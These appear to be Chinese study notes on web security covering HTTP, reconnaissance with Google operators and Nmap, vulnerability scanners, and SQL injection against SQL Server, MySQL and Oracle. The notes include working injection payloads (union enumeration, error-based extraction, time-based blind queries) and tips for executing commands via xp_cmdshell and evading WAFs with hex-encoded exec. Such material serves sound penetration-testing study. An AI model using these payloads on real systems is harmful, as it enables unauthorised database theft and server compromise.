Web安全深度剖析
1.Web安全简介
攻击者想要对计算机进行渗透,有一个条件是必须的,就是攻击者的计算机与服务器必须能够正常通信,服务器与客户端进行通信依靠的就是端口。
如今的web应该称之为web应用程序,功能强大,离不开四个要点:数据库,编程语言,web容器和优秀的web应用程序设计者。
web默认运行在服务器的80端口上,也是服务器所提供的服务之一,web攻击的方式非常多,主要有:
-
C段渗透:攻击者通过渗透同一网段内的一台主机对目标主机进行ARP等手段的渗透
-
社会工程学:社会工程学是高端攻击者必须掌握的一个技能,渗透服务器有时候不仅仅只靠技术
-
Services:很多传统的攻击方式是直接针对服务进行溢出的,至今一些软件仍然存在溢出漏洞。
黑帽子即利用黑客技术实施攻击,进行网络犯罪和牟利的人群,而白帽子则利用手中的技术进行反黑客的人群。
2.深入HTTP请求流程
HTTP协议解析
HTTP(HyperText Transfer Protocol)即超文本传输协议,是一种详细规定了浏览器和万维网服务器之间通信的规则,它是万维网交换信息的基础,它允许将HTML(超文本标记语言)文档从web服务器传送到web浏览器。
发起HTTP请求
当在浏览器地址栏中输入一个URL,并按回车键后就发起了这个HTTP请求,很快就会看到这个请求的返回结果
URL(统一资源定位符)也被称为网页地址,是互联网标准的地址。URL的标准格式如下: 协议://服务器IP [:端口]/路径/[?查询]
例如,http://www.xxser.com/post/httpxieyi.html就是一个标准的URL。
HTTP协议详解
HTTP协议目前最新版的版本是1.1,HTTP是一种无状态的协议,无状态是指web浏览器与web服务器之间不需要建立持久的连接,这意味着当一个客户端向服务器发出请求,然后web服务器返回响应,连接就被关闭了,在服务器端不保留连接的有关信息。也就是说,HTTP请求只能由客户端发起,而服务器不能主动向客户端发送数据。
1.HTTP请求与响应
(1)HTTP请求
HTTP请求包括三部分,分别是请求行(请求方法),请求头(消息报头)和请求正文。
POST /login.php HTTP/1.1 #请求行
HOST:www.xxser.com #请求头
User-Agent:Mozilla/.0(Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0 #空白行,代表请求头结束
Username=amdin&password=admin #请求正文
HTTP请求行的第一行即为请求行,请求行由三部分组成,该行的第一部分说明了该请求是POST请求;该行的第二部分是一个斜杠(/login.php),用来说明请求的是该域名根目录下的login.php;该行的最后一部分说明使用的是HTTP1.1版本(另一个选项是1.0)
第二行至空白行为HTTP中的请求头(也被称为消息头)。其中,HOST代表请求的主机地址,User-Agent代表浏览器的标识。请求头由客户端自行决定。
HTTP请求的最后一行为请求正文,请求正文是可选的,它最常出现在POST请求方法中
(2)HTTP响应
与HTTP请求对应的是HTTP响应,HTTP响应也由三部分内容组成,分别是响应行,响应头(消息报头)和响应正文(消息主题)。
HTTP/1.1 200 OK #响应行
Date:Thu,28 Feb 2013 07:36:47 GMT #响应头
Server:BWS/1.0
Content-Length:4199
Content-Type:text/html;charset=utf-8
Cache-Control:private
Expires:Thu,28 Feb 2013 07:36:47 GMT
Content-Encoding:gzip
Set-Cookie: H_PS_PSSID=2022_1438_1944_1788;path=/;domain=.xxser.com
Connection:Keep-Alive
#空白行,代表响应头结束
<html>
<head><title>Index.html</title></head>
......
HTTP响应的第一行为响应行,其中有HTTP版本(HTTP/1.1),状态码(200)以及消息‘OK’
第二行末尾的空白行为响应头,由服务器向客户端发送
消息报头之后是响应正文,是服务器向客户端发送的HTML数据
2.HTTP请求方法
(1)GET
GET方法用于获取指定页面的指定信息(以实体的方式)。如果请求资源为动态脚本(非HTML),那么返回文本是web容器解析后的HTML源代码,而不是源文件。例如请求index.jsp,返回的不是index.jsp的源文件,而是经过解析后的HTML代码。
(2)HEAD
HEAD方法除了服务器不能在响应里返回消息主体外,其他都与GET方法相同。此方法经常被用来测试超文本链接的有效性,可访问性和最近的改变。攻击者编写扫描工具时,就常用此方法,因为只测试资源是否存在,而不用返回消息主题,所以速度一定是最快的。
(3)POST
POST方法也与GET方法相似,但是最大的区别在于,GET方法没有请求内容,而POST是有请求内容。POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,但是有大小(长度)的限制,并且GET请求会将发送的数据显示在浏览器端,而POST则不会,所以安全性相对高一些。
例如:上传文件,提交留言等,只要是向服务器传输大量的数据,通常都会使用POST请求。
(4)PUT
PUT方法用于请求服务器把请求中的实体存储在请求资源下,如果请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,作为指定资源的最新修订版。如果请求指定的资源不存在,将会创建这个资源,且数据为请求正文。通常情况下,服务器都会关闭PUT方法
(5)DELETE
DELETE方法用于请求源服务器删除请求的指定资源。服务器一般都会关闭此方法,因为客户端可以进行删除文件操作。
(6)TRACE
TRACE方法被用于激发一个远程的应用层的请求消息回路,也就是说,回显服务器收到的请求。TRACE方法允许客户端去了解数据被请求链的另一端接收的情况,并且利用那些数据信息去测试或诊断。
(7)CONNECT
HTTP1.1协议规范保留了CONNECT方法,此方法是为了用于能动态切换到隧道的代理。
(8)OPTIONS
OPTIONS方法是用于请求获得由URL标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。
3.HTTP状态码
当客户端发出HTTP请求,服务器端接受后,会向客户端发送响应消息,其中HTTP响应中的第一行中,最重要的一点就是HTTP状态码,内容如下
HTTP/1.1 200 OK
HTTP协议中的状态码由三位数字组成,第一位数字定义了响应的类别,且只有以下5种:
-
1xx:信息提示,表示请求已被成功接收,继续处理,其范围为100~101
-
2xx:成功,服务器成功处理了请求,其范围为200~206
-
3xx重定向,重定向状态码用于告诉浏览器客户端,它们访问的资源已被移动,并告诉客户端新的资源地址位置,这时,浏览器将重新对新资源发起请求,其范围为300~305
-
4xx:客户端错误状态码,客户端发送的内容格式错误等,或者请求了一个不存在的URL,其范围为400~415
-
5xx:用来描述服务器内部错误的,其范围为500~505
常见的状态码描述如下:
-
200:客户端请求成功,是最常见的状态
-
302:重定向
-
404:请求资源不存在,是最常见的状态
-
400:客户端请求有语法错误,不能被服务器所理解
-
401:请求未经授权
-
403:服务器收到请求,但是拒绝提供服务
-
500:服务器内部错误,是最常见的状态
-
503:服务器当前不能处理客户端的请求,一段时间可能会恢复正常
4.HTTP消息
HTTP消息又称为HTTP头,由四部分组成,分别是请求头,响应头,普通头和实体头。
(1)请求头
请求头只出现在HTTP请求中,请求报头允许客户端向服务器端传递请求的附加消息和客户端自身的信息。常见的HTTP请求头如下:
①Host
Host请求报头域主要用于指定被请求资源的Internet主机和端口号,例如:HOST:www.xxser.com:801.
②User-Agent
User-Agent请求报头域允许客户端将它的操作系统,浏览器和其他属性告诉服务器。
③Referer
Rerfer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面
④Cookie
Cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。
⑤Range
Range可以请求实体的部分内容,多线程下载一定会用到此请求头,例如:
- 表示头500字节:bytes=0~499
- 表示第二个500字节:bytes=500~999
- 表示最后500字节:bytes=-500
- 表示500字节以后的范围:bytes=500-
⑥x-forward-for
x-forward-for即XXF头,它代表请求端的IP,可以有多个,中间以逗号隔开
⑦Accept
Accept请求报头域用于指定客户端接收那些MIME类型的消息。如ACCEPT:text/html,表示客户端希望接收HTML文本
⑧Accept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。如果在请求消息没有设置这个域,默认是任何字符集都可以接受。
(2)响应头
响应头是服务器根据请求向客户端发送的HTTP头,常见的HTTP响应头如下:
①Server
服务器所使用的web服务器名称,如Server:Apache/1.3.6(Unix)攻击者通过查看此头,可以探测web服务器名称。所以建议在服务器端进行修改此头的消息。
②Set-Cookie
向客户端设置Cookie,通过查看此头,可以清楚地看到服务器向客户端发送的Cookie信息
③Last-Modified
服务器通过这个头告诉浏览器,资源的最后修改时间
④Location
服务器通过这个头告诉浏览器去访问哪个页面,浏览器接收到这个请求之后,通常会立刻访问Location头所指向的页面。这个头通常配合302状态码使用。
⑤Refresh
服务器通过Refresh头告诉浏览器定时刷新浏览器
(3)普通头
在普通报头中,有少数报头域用于所有的请求和响应消息,但并不用于被传输的实体,只用于传输的消息。例如:Date,表示消息产生的日期和时间。Connection,允许发送指定连接的选项。例如,指定连接是连续二点,或者指定‘close’选项,通知服务器,在响应完成后,关闭连接。Cache-Control,用于指定缓存指令,缓存指令是单独的,且是独立的。
(4)实体头
请求和响应消息都可以传送一个实体头。实体头定义了关于实体正文和请求所标识的资源的元信息。元信息也就是试题内容的属性,包括实体信息类型,长度,压缩方法,最后一次修改时间等。常见的实体头如下:
①Content-Type
Content-Type实体头用于向接收方指示实体的介质类型
②Content-Encoding
Content-Encoding头被用作媒体类型的修饰符,它的值指示了已经被应用到实体正文的附加内容的编码,因而要获得Content-Type报头域中所引用的媒体类型,必须采用对应的解码机制。
③Content-Length
Content-Length实体报头用于指明实体正文的长度,以字节方式存储的十进制数字来表示
④Last-Modified
Last-Modified实体报头用于指示资源的最后修改日期和时间
HTTP协议与HTTPS协议的区别
HTTPS协议的全称为Hypertext Transfer Protocol over Secure Socket Layer,它是以安全为目标的HTTP通道,其实就是HTTP的“升级”版本,只是它比单纯的HTTP协议更加安全。
HTTPS的安全基础是SSL,即在HTTP下加入SSL层。也就是HTTPS通过安全传输机制进行传送数据,这种机制可保护网络传送的所有数据的隐秘性与完整性,可以降低非侵入性拦截攻击的可能性。
HTTP协议与HTTPS协议的主要区别如下:
- HTTP是超文本传输协议,信息是明文传输,HTTPS则是具有安全性的SSL加密传输协议。
- HTTP与HTTP协议使用的是完全不同的连接方式,HTTP采用80端口连接,而HTTPS则是443端口。
- HTTPS协议需要用到ca申请证书。一般免费证书很少,需要交费,也有些web容器提供,如TOMCAT.而HTTP协议却不需要。
- HTTP连接相对简单,是无状态的,而HTTPS协议是由SSL+HTTP协议构建的可进行加密传输,身份认证的网络协议,相对来说,它要比HTTP协议更安全
3.信息探测
搜索目标资料时应该搜集哪些资料呢?最主要的是服务器的配置信息和网站的信息
- 网站注册人
- 目标网站系统
- 目标服务器系统
- 目标网站相关子域名
- 目标服务器所开放的端口和服务器存放网站等
只要是与目标网站相关联的信息,都应该尽量去搜集。
Google Hack
-
搜索子域名
只要用Google搜索一下就可以(复杂是指要从海量的信息中寻找子域名)
-
搜索web信息
- site:指定域名
- intext:正文中存在关键字的网页
- intitle:标题中存在关键字的网页
- info:一些基本信息
- inurl:URL存在关键字的网页
- filetype:搜索指定文件类型
Nmap
1.探测主机信息
Nmap常用扫描参数及说明
-sT:
TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息
-sS
半开扫描,很少有系统能够把它记入系统日志,不过,需要root权限
-sF -sN
秘密FIN数据包扫描,Xmas Tree、Null扫描模式
-sP
ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描
-sU
UDP扫描,但UDP扫描是不可靠的
-sA
这项高级的扫描方法通常都用来穿过防火墙的规则集
-P0
扫描之前不需要ping命令,有些防火墙禁止用ping命令,可以使用此选项进行扫描
-v
显示扫描进程,推荐使用
-h
帮助选项,是最清楚的帮助文档
-p
指定端口
-O
启用远程操作系统检测,存在误报
-A
全面系统检测、启用脚本检测、扫描等
-oN/-oX/-oG
将报告写入文件,分别是正常、XML、grepable三种格式
-T4
针对TCP端口禁止动态扫描延迟超过10ms
-iL
读取主机列表。例如.”-iL C:\ip.txt“
案例:
1.扫描指定ip所开放的端口
命令:nmap -sS -p 1-65535 -v 192.168.1.106
#表示使用半开扫描,指定端口为1到65535,并且显示扫描过程
2.扫描 www.xxser.com C段存活本机
命令:namp -sP www.xxser.com/24
3.探测主机操作系统
命令:nmap -o www.xxser.com
4.指定端口扫描
命令:nmap -p 80,81,82 www.xxser.com
5.全面的系统探测
命令:nmap -v -A www.xxser.com
#Nmap默认扫描主机1000个高危端口,若需要全面检测端口,则需要加入”-p 1-65535“或者”-p-“
6.穿透防火墙进行扫描
命令:nmap -Pn -A www.2cto.com
2.Nmap脚本引擎
Nmap Script是Nmap最好的功能之一,利用Nmap Script可以快速探测服务器。
案例:
1.扫描web敏感目录
命令:nmap -p 80 --script=http-cnum.nse www.xxser.com
2.扫描sqlinjection
命令:
nmap -p 80 --script=sql-injection.nse www.xxser.com
3.使用所有的脚本进行扫描
命令:nmap --script all 127.0.0.1
4.使用通配符扫描
命令:nmap --script “http-*” 127.0.0.1
4.漏洞扫描
Burp Suite
功能:
-
Proxy
一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许拦截、查看、修改在两个方向上的原始数据包
-
Spider
一个应用智能感应的网络爬虫,它能完整地枚举应用程序的内容和功能
-
Scanner
是一个高级工具,执行后,它能自动发现web应用程序的安全漏洞
-
Inrtruder
是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符、表单破解和信息搜集
-
Repeater
是一个靠手动操作来补发单独的HTTP请求,并分析应用程序响应的工具
-
Sequencer
是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具
-
Decoder
是一个极为方便的解码/编码工具
-
Comparer
是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的”差异“
Target
Target模块是站点地图,该模块最主要的功能就是显示信息。如:它会默认记录浏览器访问的所有页面,并且使用spider模块扫描后,可以在此模块清晰地看到爬虫所爬行的页面及每个页面的请求头以及响应信息。
Target模块默认记录浏览器访问的所有页面,这样就导致目标站点的查看不方便,不过可以通过添加过滤器(Filter)来过滤非目标站点,解决显示杂乱的问题。
具体办法:
1.将目标站点添加到Scope
在 ‘Target’ -> ‘Site map’ 区域中,用鼠标右键单击目标站点,然后选择‘add to scope’,此时Burp会生成一个正则表达式,并自动添加到‘Target’->'Scope'中。
2.使用过滤器Filter
在’Target‘->'Site map'中,Filter可以自由选择过滤类型,以使我们进行查看。单击’Filter‘,选择’Show only in-scope items‘,只显示范围内的列表,即可进行过滤
Spider
Spider能完整地枚举应用程序的内容和功能。
在爬行的同时,Burp Suite默认会进行被动漏洞扫描,也就是检测每个访问过的URL
在进行爬行操作时,可以在’options‘选项卡中设置爬行规则,包括设置爬行线程,爬行深度,请求头,表单登录等配置
Scanner
Scanner模块可以有效地帮助渗透测试人员发现web应用程序的安全漏洞
在’Scan queue‘模块中,可以看到扫描的进度,等待扫描结束后,可以在’Results‘模块中查看扫描结果。
--针对单一的URL进行测试:
1.’Action‘ -> 'Do an acitve scan'
--进行全站扫描:
1.选中需要进行扫描的网站,单击鼠标右键,选择’Active Scan this Host‘,将会看到主动扫描向导,可以选择删除不需要扫描的页面
(1)Remove duplicate items:删除重复的选项
(2)Remove items with no parameters:删除没有任何参数的页面
(3)Remove items with following extensions:删除具有以下拓展名的页面,以逗号隔开
2.单击next按钮,Burp Suite会给出将要扫描的列表。
Scanner配置信息主要包括四个模块,选择options,在此可以定制扫描信息。
(1)Atttack Insertion Points
参数扫描选项,在此模块中,可以选择URL,Cookies等参数
(2)Active Scaning Areas
主动扫描漏洞,此模块可以配置扫描信息,例如SQL注入,XSS
(3)Acitve Scaning Engine
扫描配置,此模块可以设置扫描线程、超时和最大请求连接
(4)Passive Scaning Areas
被动扫描选项,此模块可以设置Header、Cookies
Intruder
Intruder模块可以对web程序进行自动化攻击。在此模块中,最重要的时配置Attack Type、程序变量以及字典的设置
具体配置如下:
1.配置Attack Type
(1)Sniper:对变量依次进行破解
(2)Battering ram:对变量同时进行破解
(3)Pitch fork:每个变量将会对应一个字典
(4)Cluster bomb:每个变量将会对应一个字典,并且交集破解,尝试每一个组合
2.配置变量
在’Positions‘模块中,可以在任意的请求头区域设置变量。
3.配置字典
在’Payloads‘模块下有以下四个区域
(1)Payload Sets
- Payload Set:针对指定变量进行配置
- Payload type:Payload类型,常见类型如下
Simple list:简单列表
Runtime file:运行时读取列表
Numbers:数字列表
Dates:日期列表
(2)Payload Options
默认为Simple list类型,如果设置为Payload type,此区域也会随之变化
(3)Payload Processing
它可以有效地对字符串进行处理(字典的每一行),可以进行MD5加密、字符串截取、加入前缀、后缀等操作
(4)Payload Encoding
在进行请求时,可以对针对某些字符进行URL转码
4.配置选项:Option模块
在此模块中,可以配置请求线程,请求结果集格式等。
Intruder常见配置
(1)Request Engine:请求引擎设置,可设置线程、超时等信息
(2)Attack Results:攻击结果显示,可设置request、response等
(3)Grep-Match:识别response中是否存在此表达式或简单字符串
(4)Grep-Extract:通过正则截取response中的信息
AWVS
AWVS(Acunetix Web Vulnerability Scanner)是一个自动化的web应用程序安全测试工具,它可以扫描任何可通过web浏览器访问的和遵循HTTP/HTTPS规则的web站点和web应用程序。
AWVS可以快速扫描跨站脚本攻击(XSS)、SQL注入攻击、代码执行、目录遍历攻击、文件入侵、脚本源代码泄露、CRLF注入、PHP代码注入、XPath注入、LDAP注入、Cookie操纵、URL重定向、应用程序错误消息等。
AWVS的主要特点如下:
- 具有AcuSensor技术
- 自动客户端脚本分析器允许AJAX和web2.0应用程序进行安全测试
- 先进的SQL注入和跨站脚本测试
- 高级渗透测试工具,如HTTP编辑器和HTTP的Fuzzer
- 视觉宏录制使测试web表单和密码保护的区域更容易
- 支持页面验证,单点登录和双因素认证机制
- 广泛的报告设施,包括PCI合规性报告
- 履带式智能检测web服务器的类型和应用语言
- 端口扫描
AWVS小工具
1.HTTP Fuzzer
模糊测试工具,可以对web程序进行自动化攻击
2.HTTP Sniffer
此工具是一个代理工具,如果想要截取HTTP协议,则必须配置代理设置
3.Bling SQL Injector
该工具是一款盲注测试工具
4.Target Finder
该工具用于目标信息搜集,在此模块中可以进行端口扫描
5.Authentication Tests
它是认证测试小工具,在此模块中可以快速进行基于表单形式的破解
6.Compare Results
比较器,对两个结果进行比较
7.Subdomain Scanner
子域名扫描器,在此模块中可以快速扫描子域名
8.HTTP Editor
HTTP编辑器,在此模块中可以方便地修改HTTP头信息
AppScan
AppScan可自动化web应用的安全漏洞评估工作,能扫描和检测所有常见的web应用安全漏洞
AppScan的主要特点如下:
- 支持Flash:它可以探索和测试基于Adobe的Flex框架的应用程序,也支持AMF协议
- Glass box testing:在这个过程中,安装一个代理服务器有助于发现隐藏的URL和其他的问题
- web服务扫描:web服务扫描是AppScan中具有有效自动化支持的一个扫描功能
- java脚本安全分析:AppScan中介绍了JavaScript安全性分析,分析抓取HTML页面漏洞,并允许用户专注于不同的客户端问题和以DOM(文档对象模型)为基础的XSS问题
- 报告:根据需求所生成的报告
- 修复支持:对于确定的漏洞,程序提供了相关的漏洞描述和修复方案
- 可定制的扫描策略:AppScan配备一套自定义的扫描策略,可以定制适合自己需要的扫描策略
- 工具支持:它有认证测试、令牌分析器和HTTP请求编辑器等工具的支持,方便手动测试漏洞
- 具有AJAX和Dojo框架的支持
5.SQL注入漏洞
SQL注入原理
SQL注入漏洞的形成原因:用户输入的数据被SQL解释器执行
注入漏洞分类
1.数字型注入
当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
2.字符型注入
当输入参数为字符串时,则为字符型。数字型与字符型注入最大的区别在于:数字类型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
常见的注入叫法:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串需要经过base64加密
3.常见数据库注入
利用方式分类:
1.查询数据
2.读写文件
3.执行命令
SQL Server
1.利用错误消息提取信息
(1)枚举当前表及列
输入语句:’having 1=1-
输入错误的SQL语句,根据报出的错误消息,依次进行递归查询,知道没有错误消息返回为止,这样就可以利用having子句“查询”出当前表的所有列名。
(2)利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换成另外一个不兼容的类型时,那么SQL编辑器就会抛出异常
2.获取元数据
SQL Server提供了大量视图,便于取得元数据
常用的数据库视图
sys.databases:SQL Server中的所有数据库
sys.sql_logins:SQL Server中的所有登录名
information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的所有列的联合
sys.databases_principals:数据库中每个权限或列异常权限
sys.databases_files:存储在数据库中的数据库文件
sysobjects:数据库中创建的每个对象(例如约束、日志以及存储过程)
3.Order by子句
Order by子句为select查询的列排序,如果同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效
攻击者通常会注入Order by语句来判断此表的列数,在得知列数后,攻击者通常会配合union关键字进行下一步的攻击
4.union查询
union关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询
union合并两个查询结果集的基本规则:
--所有查询中的列数必须相同
--数据类型必须兼容
(1)联合查询探测字段数
select id,username from users where id=1 union select null
递归查询,直到无错误产生,可得知user表查询的字段数
(2)联合查询敏感信息
如果得知列数为4,可以使用以下语句继续注入:
id=5 union select "x",null,null,null from sysobject where xtype='U'
如果第1列数据类型不匹配,数据库将会报错,这时就可以继续递归查询,直到语句正常执行为止。语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
5.无辜的函数
利用系统函数可以访问SQL Server系统表中的信息,而无需使用SQL语句查询。
系统函数举例:
select suser_name():返回用户的登录标识名
select user_name():基于指定的标识号返回数据库用户名
select db_name():返回数据库名称
select is_member('db_owner'):是否为数据库角色
select convert(int,'5'):数据类型转换
常用函数:
stuff:字符串截取函数
ascii:取ASCII码
char:根据ASCII码取字符
getdate:返回日期
count:返回组中的总条数
cast:将一种数据类型的表达式显示转换为另一种数据类型的表达式
rand:返回随机值
is_srvrolemember:指示SQL Server登录名是否为指定服务器角色的成员
6.危险的存储过程
存储过程是在大型数据库系统为了完成特定功能的一组SQL”函数“,如:执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程时'xp_cmdshell',这个存储过程允许用户执行操作系统命令,攻击者可以直接利用xp_cmdshell操纵服务器。
#用户必须持有CONTROL_SERVER权限才可以使用此类存储过程
常见的危险存储过程:
sp_addlogin:创建新的SQL Server登录,该登录允许用户使用 SQL Server身份验证连接到SQL Server实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroups:提供Microsoft Windows本地组列表或在指定 的Windows域中定义的全局组列表
xp_regwrite:未被公布的存储过程,写入注册表
xp_regread:读取注册表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:停止或激活某服务
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限,否则无法使用
SQL Server数据库的角色与权限如下:
bulkadmin:角色成员可以运行 BULK INSERT语句
dbcreator:角色成员可以创建、更改、删除和还原任何数据库
diskadmin:角色成员可以管理磁盘文件
processadmin:角色成员可以种植在数据库引擎实例中运行的进程
securityadmin:角色成员可以管理登录名机器属性,可以利用 GRANT,DENY和REVOKE服务器级别的权限,还可以 利用GRANT,DENY和REVOKE数据库级别的权限,此 外,也可重置SQL Server登录名的密码
serveradmin:角色成员可以更改服务器范围的配置选项和关闭服务 器
setupadmin:角色成员可以添加和删除链接服务器,并可以执行某 些系统存储过程
sysadmin:角色成员可以在数据库引擎中执行任何活动。默认情况 下,Windows BUILTIN\Administrator组(本地 管理员组)的所有成员都是sysadmin固定服务器角色的成员
7.动态执行
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:
exec(‘selec’+'t username,password fro'+'m users')
也可以通过定义十六进制的SQL语句,使用exec函数执行。大部分web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,这一特性可以突破很多防火墙以及防注入程序,如:
declare @query varchar(888)
select @query=0x73656c56595454
exec(@query)
MySQL
1.注释
#:注释从”#“字符到行尾
--:注释从”--“序列到行尾,使用时后面需要跟上一个或多个空格
/**/:注释从/*到*/序列中间的字符
2.获取元数据
3.union查询
4.MySQL函数利用
(1)load_file()函数读文件操作
mysql提供了load_file()函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须要小于max_allowed_packet 字节(默认为16MB,最大为1GB)
(2)into outfile写文件操作
mysql提供了向磁盘写文件的操作,与load_file()一样,必须持有FILE权限,并且文件必须为全路径名称。
(3)连接字符串
在mysql查询中,如果需要一次查询多个数据,可以使用concat()
或concat_ws()函数来完成
常用mysql函数及说明
length--返回字符串长度
substring--截取字符串长度
ascii--返回ASCII码
hex--把字符串转换成十六进制
now--当前系统时间
floor(x)--返回不大于x的最大整数值
md5--返回MD5值
group_concat--返回带有来自一个组的连接的非NULL值的字符串结果
@@datadir--读取数据库路径
@@basedir--MySQL安装路径
@@version_compile_os--操作系统
user--用户名
current_user--当前用户名
system_user--系统用户名
database--数据库名
version--mysql数据库版本
5.mysql显错式注入
虽然mysql不能直接转换报错,但能利用mysql中的一些特性提取错误信息
(1)通过updatexml函数,执行sql语句
select * from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
(2)通过extracvalue函数,执行sql语句
select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
(3)通过floor函数,执行sql语句
select * from message where id=1 union select * from(select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
6.宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一般出现在PHP+MySQL中。在PHP配置文件中php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,使用GET,POST,Cookie所接受的’(单引号)、"(双引号)、\(反斜线)和NULL字符都会被自动加上一个反斜线转义
7.mysql长字符截断
在mysql中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL.sql_mode默认即default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题
8.延时注入
延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。
思路:
(1)查询当前用户,并取得字符串长度
(2)截取字符串第一个字符,并转换为ASCII码
(3)将第一个字符的ASCII与ASCII码表对比,如果对比成功将延时3秒
(4)继续步骤(2),(3),直至字符串截取完毕
对应的SQL语句如下:
(1)and if(length(user())=0,sleep(3),1)
循环0,如果出现3秒延时,就可以判断出user字符串长度,注入时通常会采用半折算法减少判断
(2)and if(hex(mid(user(),1,1))=1,sleep(3),1)
取出user字符串的第一个字符,然后与ASCII码循环对比
(3)and if(hex(mid(user(),L,1))=N,sleep(3),1)
递归破解第二个ASCII码、第三个ASCII码,直至字符串最后一个字符为止
同理,既然通过延时注入可以读取数据库当前MySQL用户,那么读取表、列、文件都是可以实现的
#L的位置代表字符串的第几个字符,N的位置代表ASCII码
权限 | 权限级别 | 权限说明 |
---|---|---|
create | 数据库、表或索引 | 创建数据库、表或索引权限 |
drop | 数据库或表 | 删除数据库或表权限 |
grant option | 数据库、表或保存的程序 | 赋予权限选项 |
alter | 表 | 更改表,比如添加字段 |
delete | 表 | 删除数据权限 |
index | 表 | 索引权限 |
insert | 表 | 插入数据权限 |
select | 表 | 查询数据 |
update | 表 | 更新权限 |
create view | 视图 | 创建视图权限 |
show view | 视图 | 查看视图权限 |
alter routine | 存储过程 | 更改存储过程权限 |
create routine | 存储过程 | 创建存储过程权限 |
execute | 存储过程 | 执行存储过程权限 |
file | 服务器主机上的文件访问 | 文件访问权限 |
create temporary tables | 服务器管理 | 创建临时表权限 |
lock tables | 服务器管理 | 创建临时表权限 |
create user | 服务器管理 | 创建用户权限 |
process | 服务器管理 | 查看进程权限 |
reload | 服务器管理 | 执行flush-hosts、flush-logs、flush-privileges等命令权限 |
replication client | 服务器管理 | 复制权限 |
replicaion slave | 服务器管理 | 复制权限 |
show databases | 服务器管理 | 查看数据库权限 |
shutdown | 服务器管理 | 关闭数据库权限 |
super | 服务器管理 | 执行kill线程权限 |
Oracle
1.获取元数据
(1)user_tablespaces视图,查看表空间
select tablespace_name from user_tablespaces
(2)user_table视图,查看当前用户的所有表
select table_name from user_tables where rownum=1
(3)user_tab_columns视图,查看当前用户的所有列
select column_name from user_tab_column where table_name = 'users'
(4)all_users视图,查看Oracle数据库的所有用户
select username from all_users
(5)user_objects视图,查看当前用户的所有对象(表名称、约束、索引)
select object_name from user_objects
2.union查询
Oracle存在注入漏洞,操作步骤:
(1)获取列的总数
Order by 1,Order by 2,Oreder by n,直至与原始请求返回数据不同
Union select null,null,null...from dual
#dual--虚拟表,不知道存在哪些表的情况下使用此表作为查询表
(2)获取敏感信息
Oracle常见的敏感信息如下:
当前用户权限:select * from session_roles
当前数据库版本:
select banner from sys.v_$version where rownum=1
服务器出口IP:用utl_http.request可以实现
服务器监听IP:
select utl_inaddr.get_host_address from dual
服务器操作系统:select member from v$logfile where rownum=1
服务器sid:select instance_name from $instance
当前连接用户:select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
(3)获取数据库表及其内容
在得知表的列数以后,可以通过查询元数据的方式查询表名称、列、然后查询数据,再查询数据时同样要注意数据类型,否则无法查询,这只能一一测试
http://www.secbug.org/news.jsp?id=1 union select username,null,null from users--
另外,在得知列数之后,可以通过暴力破解的方式来枚举表名称,如:
http://www.secbug.org/news.jsp?id=1 union select null,null,null from tableName--
3.Oracle中包
Oracle包可以分为两部分,一部分是包的规范,相当于Java中的接口,另一部分是包体,相当于Java里接口的实现类,实现了具体的操作
在Oracle注入中,攻击者大概都知道一个包:UTL_HTTP,该包提供了对HTTP的一些操作,比如:
SELECT UTL_HTTP.REQUEST('http://www.baidu.com') FROM DUAL;
执行这条sql语句,将返回baidu.com的HTML源码
常见的包及文件说明
包名称 | 包头文件 | 说明 |
---|---|---|
dbms_aleri | dbmsalrt.sql | 异步处理数据库事件 |
dbms_application_info | dbmsutil.sql | 注册当前运行的应用的名称(用于性能监控) |
dbms_apadm | dbmsaqad.sql | 与高级队列选项一起使用 |
dbms_ddl | dbmsutil.sql | 重新编译存储子程序和包,分析数据库对象 |
dbms_debug | dbmspb.sql | PL/SQL调试器接口 |
dbms_deffr | dbmsdefr.sql | 远程过程调用应用的接口 |
dems_describe | dbmsdesc.sql | 说明存储子程序的参数 |
